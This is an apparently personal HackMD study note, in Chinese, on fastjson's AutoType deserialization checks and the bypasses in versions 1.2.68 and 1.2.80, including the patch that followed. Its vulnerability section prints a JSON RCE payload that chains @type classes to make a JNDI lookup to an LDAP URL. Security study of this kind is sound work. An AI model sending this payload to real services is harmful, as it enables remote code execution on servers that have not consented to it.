Try   HackMD

fastjson deserialize

tags: Note deserialize

Abstract

fastjson 是一個 Java 的 library,可以將 Java Object 和 JSON 格式互相轉換,主要為 Alibaba 開發

Github Repository

Background

  • AutoType
    • 允許用戶在反序列化數據中透過 @type 指定反序列化的 class 類型

fastjson [v1.2.25,)

  • checkAutoType

    • fastjson 1.2.25 以及之後的版本中,fastjson AutoType 這一機制帶來的安全隱患,增加了一層名為 checkAutoType 的檢測機制
    • AutoType 開啟黑白名單機制(用 hash)
    • 即使開啟了 notSupportAutoType 也不代表不支援 AutoType,還是是會進入 checkAutoType 進行檢查,裡面不外乎就是做各種黑白名單的過濾或是特殊案例的例外處理,導致許多邏輯漏洞存在在此 function 中
  • checkAutoType 運作邏輯

    • 首先會進行以下 3 個判斷
      1. 是否在白名單之中
      2. 是否在反序列化的 cache 中 (mappings 列表)
      3. class 有 JSONType 註解(Ex: fastjson.annotation.JSONType)
    • 如果滿足以上 3 個條件,會 return 並繼續執行反序列化,否則會進行以下判斷
      1. 傳入的 typeName 是否在黑名單中
      2. 是否繼承 RowSet、DataSource、ClassLoader
    • 如果滿足以上 2 個條件的其中 1 個,會直接 error,否則會進行以下判斷
      1. expectClass 不等於 NULL、Object、Serializable、Closeable 等類型
      2. 傳入的 typeName class 繼承於 expectClass
    • 如果滿足以上 2 個條件,會 return 並繼續執行反序列化且會將未載入進 cache 的 class 載入 cache,否則會檢查 autoTypeSupport 是不是等於 True

歸納一個小結論,若是想要通過 checkAutoType 的驗證有以下方法

  1. 傳入的 class 在白名單中
  2. 要反序列化的 classs 在 cache 中(TypeUtils.mapping 中有 @type 指定的 class)
  3. 開啟 autoTypeSupoort
  4. 使用 JSONType 註解(Ex: fastjson.annotation.JSONType)
  5. 傳入的 typeName class 繼承於 expectClass

Vuln

1.2.68

透過 expectClass != NULL 的條件繞過 checkAutoType

background 提到想要通過 checkAutoType 的驗證有 5 種方法,這邊使用的是第 5 種

code

checkAutoType(String typeName, Class<?> expectClass, int features)

剛剛提到繼承的 expectClass 不能在黑名單中,但在 fastjson v1.2.68 及以前的黑名單裡,雖然包括了大部分常用的 class,但少了 java.lang.AutoCloseablejava.util.BitSet

payload

RCE
{
    "@type":"java.lang.AutoCloseable",
    "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
    "dataSourceName":"ldap://localhost:1389/test",
    "command":"a"
}

第一次的 @type 使得 expectClass 變成 true,讓第二個 @type 可以順利的 deserialize

patch

java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable 加入黑名單

1.2.80

把目標換成 java.lang.Exception

但目前 poc 都需要 Evil class 存在並且實作有害的 setter 才能利用

Reference

payload